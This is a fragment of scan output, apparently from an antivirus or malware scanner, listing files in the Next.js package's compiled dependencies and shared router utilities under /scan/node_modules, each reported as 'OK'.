+/scan/node_modules/next/dist/compiled/schema-utils2/index.js: OK
+/scan/node_modules/next/dist/compiled/schema-utils2/package.json: OK
+/scan/node_modules/next/dist/compiled/send/LICENSE: OK
+/scan/node_modules/next/dist/compiled/send/index.js: OK
+/scan/node_modules/next/dist/compiled/send/package.json: OK
+/scan/node_modules/next/dist/compiled/data-uri-to-buffer/index.js: OK
+/scan/node_modules/next/dist/compiled/data-uri-to-buffer/package.json: OK
+/scan/node_modules/next/dist/compiled/domain-browser/index.js: OK
+/scan/node_modules/next/dist/compiled/domain-browser/package.json: OK
+/scan/node_modules/next/dist/compiled/conf/LICENSE: OK
+/scan/node_modules/next/dist/compiled/conf/index.js: OK
+/scan/node_modules/next/dist/compiled/conf/package.json: OK
+/scan/node_modules/next/dist/compiled/css.escape/package.json: OK
+/scan/node_modules/next/dist/compiled/css.escape/css.escape.js: OK
+/scan/node_modules/next/dist/compiled/tar/LICENSE: OK
+/scan/node_modules/next/dist/compiled/tar/index.js: OK
+/scan/node_modules/next/dist/compiled/tar/package.json: OK
+/scan/node_modules/next/dist/compiled/http-proxy/LICENSE: OK
+/scan/node_modules/next/dist/compiled/http-proxy/index.js: OK
+/scan/node_modules/next/dist/compiled/http-proxy/package.json: OK
+/scan/node_modules/next/dist/compiled/@hapi/accept/index.js: OK
+/scan/node_modules/next/dist/compiled/@hapi/accept/package.json: OK
+/scan/node_modules/next/dist/compiled/react/react.react-server.js: OK
+/scan/node_modules/next/dist/compiled/react/LICENSE: OK
+/scan/node_modules/next/dist/compiled/react/jsx-runtime.react-server.js: OK
+/scan/node_modules/next/dist/compiled/react/jsx-runtime.js: OK
+/scan/node_modules/next/dist/compiled/react/index.js: OK
+/scan/node_modules/next/dist/compiled/react/package.json: OK
+/scan/node_modules/next/dist/compiled/react/jsx-dev-runtime.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react-jsx-dev-runtime.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react-jsx-runtime.production.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react-jsx-dev-runtime.profiling.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react-jsx-dev-runtime.profiling.min.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react.development.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react-jsx-dev-runtime.production.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react-jsx-runtime.profiling.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react-jsx-runtime.profiling.min.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react-jsx-runtime.react-server.production.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react-jsx-runtime.react-server.development.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react.react-server.production.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react.react-server.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react.react-server.development.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react-jsx-runtime.react-server.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react-jsx-runtime.development.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react.production.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react-jsx-runtime.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react/cjs/react-jsx-dev-runtime.development.js: OK
+/scan/node_modules/next/dist/compiled/amphtml-validator/index.js: OK
+/scan/node_modules/next/dist/compiled/amphtml-validator/package.json: OK
+/scan/node_modules/next/dist/compiled/devalue/LICENSE: OK
+/scan/node_modules/next/dist/compiled/devalue/package.json: OK
+/scan/node_modules/next/dist/compiled/devalue/devalue.umd.js: OK
+/scan/node_modules/next/dist/compiled/loader-runner/LICENSE: OK
+/scan/node_modules/next/dist/compiled/loader-runner/package.json: OK
+/scan/node_modules/next/dist/compiled/loader-runner/LoaderRunner.js: OK
+/scan/node_modules/next/dist/compiled/ws/LICENSE: OK
+/scan/node_modules/next/dist/compiled/ws/index.js: OK
+/scan/node_modules/next/dist/compiled/ws/package.json: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/client.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/react-dom.react-server.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/server.edge.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/LICENSE: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/server.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/server.browser.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/index.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/package.json: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/profiling.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/static.edge.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/server-rendering-stub.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/server.node.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server-rendering-stub.development.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server.edge.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-test-utils.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom.profiling.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server.bun.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-unstable_testing.development.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server.node.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server.browser.development.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server-rendering-stub.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server-legacy.node.development.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom.profiling.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server-rendering-stub.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-unstable_testing.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server.edge.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server-legacy.browser.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server.edge.development.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-unstable_testing.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server-legacy.browser.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server.node.development.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom.react-server.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom.react-server.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server-legacy.node.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom.development.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom.react-server.development.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server.browser.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server.browser.production.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server-legacy.node.production.min.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server-legacy.browser.development.js: OK
+/scan/node_modules/next/dist/compiled/react-dom-experimental/cjs/react-dom-server.node.production.js: OK
+/scan/node_modules/next/dist/compiled/process/LICENSE: OK
+/scan/node_modules/next/dist/compiled/process/package.json: OK
+/scan/node_modules/next/dist/compiled/process/browser.js: OK
+/scan/node_modules/next/dist/compiled/edge-runtime/index.js: OK
+/scan/node_modules/next/dist/compiled/edge-runtime/package.json: OK
+/scan/node_modules/next/dist/compiled/debug/LICENSE: OK
+/scan/node_modules/next/dist/compiled/debug/index.js: OK
+/scan/node_modules/next/dist/compiled/debug/package.json: OK
+/scan/node_modules/next/dist/compiled/buffer/LICENSE: OK
+/scan/node_modules/next/dist/compiled/buffer/index.js: OK
+/scan/node_modules/next/dist/compiled/buffer/package.json: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/unstable_mock.js: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/LICENSE: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/index.js: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/unstable_post_task.js: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/package.json: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/index.native.js: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/cjs/scheduler-unstable_mock.production.min.js: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/cjs/scheduler.development.js: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/cjs/scheduler-unstable_post_task.production.js: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/cjs/scheduler.production.min.js: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/cjs/scheduler.native.development.js: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/cjs/scheduler.native.production.js: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/cjs/scheduler-unstable_post_task.production.min.js: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/cjs/scheduler-unstable_post_task.development.js: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/cjs/scheduler-unstable_mock.development.js: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/cjs/scheduler.production.js: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/cjs/scheduler-unstable_mock.production.js: OK
+/scan/node_modules/next/dist/compiled/scheduler-experimental/cjs/scheduler.native.production.min.js: OK
+/scan/node_modules/next/dist/compiled/web-vitals-attribution/LICENSE: OK
+/scan/node_modules/next/dist/compiled/web-vitals-attribution/web-vitals.attribution.js: OK
+/scan/node_modules/next/dist/compiled/web-vitals-attribution/package.json: OK
+/scan/node_modules/next/dist/shared/lib/constants.js: OK
+/scan/node_modules/next/dist/shared/lib/runtime-config.external.js.map: OK
+/scan/node_modules/next/dist/shared/lib/html-context.shared-runtime.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/constants.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/amp.js.map: OK
+/scan/node_modules/next/dist/shared/lib/encode-uri-path.js: OK
+/scan/node_modules/next/dist/shared/lib/mitt.js: OK
+/scan/node_modules/next/dist/shared/lib/side-effect.js: OK
+/scan/node_modules/next/dist/shared/lib/bloom-filter.js.map: OK
+/scan/node_modules/next/dist/shared/lib/image-config-context.shared-runtime.js: OK
+/scan/node_modules/next/dist/shared/lib/image-loader.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/amp.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/match-remote-pattern.js: OK
+/scan/node_modules/next/dist/shared/lib/magic-identifier.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/dynamic.js.map: OK
+/scan/node_modules/next/dist/shared/lib/styled-jsx.js: OK
+/scan/node_modules/next/dist/shared/lib/image-blur-svg.js: OK
+/scan/node_modules/next/dist/shared/lib/image-blur-svg.js.map: OK
+/scan/node_modules/next/dist/shared/lib/modern-browserslist-target.js: OK
+/scan/node_modules/next/dist/shared/lib/modern-browserslist-target.js.map: OK
+/scan/node_modules/next/dist/shared/lib/app-router-context.shared-runtime.js: OK
+/scan/node_modules/next/dist/shared/lib/router-context.shared-runtime.js.map: OK
+/scan/node_modules/next/dist/shared/lib/head-manager-context.shared-runtime.js: OK
+/scan/node_modules/next/dist/shared/lib/app-router-context.shared-runtime.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/is-plain-object.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/hooks-client-context.shared-runtime.js.map: OK
+/scan/node_modules/next/dist/shared/lib/page-path/absolute-path-to-page.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/page-path/normalize-path-sep.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/page-path/normalize-path-sep.js.map: OK
+/scan/node_modules/next/dist/shared/lib/page-path/denormalize-app-path.js.map: OK
+/scan/node_modules/next/dist/shared/lib/page-path/absolute-path-to-page.js.map: OK
+/scan/node_modules/next/dist/shared/lib/page-path/denormalize-page-path.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/page-path/remove-page-path-tail.js: OK
+/scan/node_modules/next/dist/shared/lib/page-path/remove-page-path-tail.js.map: OK
+/scan/node_modules/next/dist/shared/lib/page-path/denormalize-page-path.js.map: OK
+/scan/node_modules/next/dist/shared/lib/page-path/ensure-leading-slash.js.map: OK
+/scan/node_modules/next/dist/shared/lib/page-path/denormalize-app-path.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/page-path/absolute-path-to-page.js: OK
+/scan/node_modules/next/dist/shared/lib/page-path/ensure-leading-slash.js: OK
+/scan/node_modules/next/dist/shared/lib/page-path/get-page-paths.js: OK
+/scan/node_modules/next/dist/shared/lib/page-path/remove-page-path-tail.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/page-path/normalize-path-sep.js: OK
+/scan/node_modules/next/dist/shared/lib/page-path/normalize-page-path.js.map: OK
+/scan/node_modules/next/dist/shared/lib/page-path/denormalize-app-path.js: OK
+/scan/node_modules/next/dist/shared/lib/page-path/get-page-paths.js.map: OK
+/scan/node_modules/next/dist/shared/lib/page-path/denormalize-page-path.js: OK
+/scan/node_modules/next/dist/shared/lib/page-path/ensure-leading-slash.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/page-path/get-page-paths.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/page-path/normalize-page-path.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/page-path/normalize-page-path.js: OK
+/scan/node_modules/next/dist/shared/lib/hash.js.map: OK
+/scan/node_modules/next/dist/shared/lib/hooks-client-context.shared-runtime.js: OK
+/scan/node_modules/next/dist/shared/lib/loadable-context.shared-runtime.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/image-external.js: OK
+/scan/node_modules/next/dist/shared/lib/amp.js: OK
+/scan/node_modules/next/dist/shared/lib/head.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/bloom-filter.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/loadable.shared-runtime.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/get-img-props.js: OK
+/scan/node_modules/next/dist/shared/lib/isomorphic/path.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/isomorphic/path.js: OK
+/scan/node_modules/next/dist/shared/lib/isomorphic/path.js.map: OK
+/scan/node_modules/next/dist/shared/lib/is-plain-object.js: OK
+/scan/node_modules/next/dist/shared/lib/app-dynamic.js.map: OK
+/scan/node_modules/next/dist/shared/lib/html-context.shared-runtime.js: OK
+/scan/node_modules/next/dist/shared/lib/magic-identifier.js.map: OK
+/scan/node_modules/next/dist/shared/lib/amp-mode.js.map: OK
+/scan/node_modules/next/dist/shared/lib/image-blur-svg.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/escape-regexp.js: OK
+/scan/node_modules/next/dist/shared/lib/amp-context.shared-runtime.js.map: OK
+/scan/node_modules/next/dist/shared/lib/side-effect.js.map: OK
+/scan/node_modules/next/dist/shared/lib/amp-context.shared-runtime.js: OK
+/scan/node_modules/next/dist/shared/lib/image-loader.js.map: OK
+/scan/node_modules/next/dist/shared/lib/dynamic.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/image-config.js.map: OK
+/scan/node_modules/next/dist/shared/lib/constants.js.map: OK
+/scan/node_modules/next/dist/shared/lib/image-config.js: OK
+/scan/node_modules/next/dist/shared/lib/utils/warn-once.js.map: OK
+/scan/node_modules/next/dist/shared/lib/utils/warn-once.js: OK
+/scan/node_modules/next/dist/shared/lib/utils/warn-once.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/modern-browserslist-target.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router-context.shared-runtime.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/loadable-context.shared-runtime.js.map: OK
+/scan/node_modules/next/dist/shared/lib/bloom-filter.js: OK
+/scan/node_modules/next/dist/shared/lib/amp-mode.js: OK
+/scan/node_modules/next/dist/shared/lib/server-inserted-html.shared-runtime.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/head.js.map: OK
+/scan/node_modules/next/dist/shared/lib/error-source.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/lazy-dynamic/preload-css.js: OK
+/scan/node_modules/next/dist/shared/lib/lazy-dynamic/types.js: OK
+/scan/node_modules/next/dist/shared/lib/lazy-dynamic/types.js.map: OK
+/scan/node_modules/next/dist/shared/lib/lazy-dynamic/bailout-to-csr.js.map: OK
+/scan/node_modules/next/dist/shared/lib/lazy-dynamic/types.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/lazy-dynamic/bailout-to-csr.js: OK
+/scan/node_modules/next/dist/shared/lib/lazy-dynamic/dynamic-bailout-to-csr.js: OK
+/scan/node_modules/next/dist/shared/lib/lazy-dynamic/loadable.js.map: OK
+/scan/node_modules/next/dist/shared/lib/lazy-dynamic/bailout-to-csr.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/lazy-dynamic/dynamic-bailout-to-csr.js.map: OK
+/scan/node_modules/next/dist/shared/lib/lazy-dynamic/dynamic-bailout-to-csr.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/lazy-dynamic/preload-css.js.map: OK
+/scan/node_modules/next/dist/shared/lib/lazy-dynamic/loadable.js: OK
+/scan/node_modules/next/dist/shared/lib/lazy-dynamic/preload-css.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/lazy-dynamic/loadable.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/image-external.js.map: OK
+/scan/node_modules/next/dist/shared/lib/fnv1a.js: OK
+/scan/node_modules/next/dist/shared/lib/is-plain-object.js.map: OK
+/scan/node_modules/next/dist/shared/lib/head-manager-context.shared-runtime.js.map: OK
+/scan/node_modules/next/dist/shared/lib/mitt.js.map: OK
+/scan/node_modules/next/dist/shared/lib/loadable-context.shared-runtime.js: OK
+/scan/node_modules/next/dist/shared/lib/hooks-client-context.shared-runtime.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/error-source.js: OK
+/scan/node_modules/next/dist/shared/lib/segment.js: OK
+/scan/node_modules/next/dist/shared/lib/utils.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/loadable.shared-runtime.js.map: OK
+/scan/node_modules/next/dist/shared/lib/runtime-config.external.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/amp-mode.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/app-dynamic.js: OK
+/scan/node_modules/next/dist/shared/lib/segment.js.map: OK
+/scan/node_modules/next/dist/shared/lib/server-inserted-html.shared-runtime.js.map: OK
+/scan/node_modules/next/dist/shared/lib/hash.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/image-config-context.shared-runtime.js.map: OK
+/scan/node_modules/next/dist/shared/lib/escape-regexp.js.map: OK
+/scan/node_modules/next/dist/shared/lib/html-context.shared-runtime.js.map: OK
+/scan/node_modules/next/dist/shared/lib/styled-jsx.js.map: OK
+/scan/node_modules/next/dist/shared/lib/side-effect.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/app-dynamic.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/loadable.shared-runtime.js: OK
+/scan/node_modules/next/dist/shared/lib/runtime-config.external.js: OK
+/scan/node_modules/next/dist/shared/lib/segment.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/utils.js: OK
+/scan/node_modules/next/dist/shared/lib/utils.js.map: OK
+/scan/node_modules/next/dist/shared/lib/escape-regexp.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/get-img-props.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/encode-uri-path.js.map: OK
+/scan/node_modules/next/dist/shared/lib/get-hostname.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router-context.shared-runtime.js: OK
+/scan/node_modules/next/dist/shared/lib/dynamic.js: OK
+/scan/node_modules/next/dist/shared/lib/image-external.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/get-hostname.js: OK
+/scan/node_modules/next/dist/shared/lib/i18n/get-locale-redirect.js: OK
+/scan/node_modules/next/dist/shared/lib/i18n/detect-domain-locale.js: OK
+/scan/node_modules/next/dist/shared/lib/i18n/get-locale-redirect.js.map: OK
+/scan/node_modules/next/dist/shared/lib/i18n/normalize-locale-path.js.map: OK
+/scan/node_modules/next/dist/shared/lib/i18n/detect-domain-locale.js.map: OK
+/scan/node_modules/next/dist/shared/lib/i18n/detect-domain-locale.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/i18n/normalize-locale-path.js: OK
+/scan/node_modules/next/dist/shared/lib/i18n/get-locale-redirect.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/i18n/normalize-locale-path.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/app-router-context.shared-runtime.js.map: OK
+/scan/node_modules/next/dist/shared/lib/fnv1a.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/hash.js: OK
+/scan/node_modules/next/dist/shared/lib/error-source.js.map: OK
+/scan/node_modules/next/dist/shared/lib/styled-jsx.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/image-config-context.shared-runtime.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/get-hostname.test.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/image-loader.js: OK
+/scan/node_modules/next/dist/shared/lib/server-inserted-html.shared-runtime.js: OK
+/scan/node_modules/next/dist/shared/lib/get-img-props.js.map: OK
+/scan/node_modules/next/dist/shared/lib/encode-uri-path.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/match-remote-pattern.js.map: OK
+/scan/node_modules/next/dist/shared/lib/match-remote-pattern.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/image-config.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/amp-context.shared-runtime.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/head-manager-context.shared-runtime.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/head.js: OK
+/scan/node_modules/next/dist/shared/lib/mitt.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/fnv1a.js.map: OK
+/scan/node_modules/next/dist/shared/lib/magic-identifier.js: OK
+/scan/node_modules/next/dist/shared/lib/get-hostname.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/action-queue.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/route-regex.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/remove-path-prefix.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/is-dynamic.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/path-match.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/is-bot.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/middleware-route-matcher.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/get-route-from-asset-path.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/route-matcher.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/format-url.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/parse-url.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/path-has-prefix.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/as-path-to-search-params.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/relativize-url.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/sorted-routes.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/compare-states.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/add-locale.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/querystring.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/add-path-suffix.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/middleware-route-matcher.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/route-regex.test.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/app-paths.test.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/path-match.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/interpolate-as.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/add-locale.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/interpolate-as.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/handle-smooth-scroll.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/get-asset-path-from-route.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/format-next-pathname-info.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/omit.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/handle-smooth-scroll.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/prepare-destination.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/parse-path.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/add-path-suffix.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/index.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/path-has-prefix.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/app-paths.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/parse-relative-url.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/add-path-suffix.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/querystring.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/is-local-url.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/route-regex.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/remove-trailing-slash.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/get-route-from-asset-path.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/parse-url.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/compare-states.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/format-url.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/handle-smooth-scroll.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/as-path-to-search-params.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/querystring.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/interpolate-as.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/escape-path-delimiters.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/is-bot.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/route-matcher.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/is-local-url.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/format-url.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/route-matcher.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/as-path-to-search-params.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/add-path-prefix.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/is-dynamic.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/format-next-pathname-info.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/prepare-destination.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/relativize-url.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/get-next-pathname-info.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/add-path-prefix.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/sorted-routes.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/is-local-url.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/add-locale.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/get-next-pathname-info.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/parse-path.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/get-route-from-asset-path.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/index.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/remove-path-prefix.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/parse-relative-url.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/resolve-rewrites.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/format-next-pathname-info.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/parse-path.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/get-next-pathname-info.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/parse-url.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/resolve-rewrites.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/resolve-rewrites.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/index.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/parse-relative-url.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/path-match.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/omit.d.ts: OK
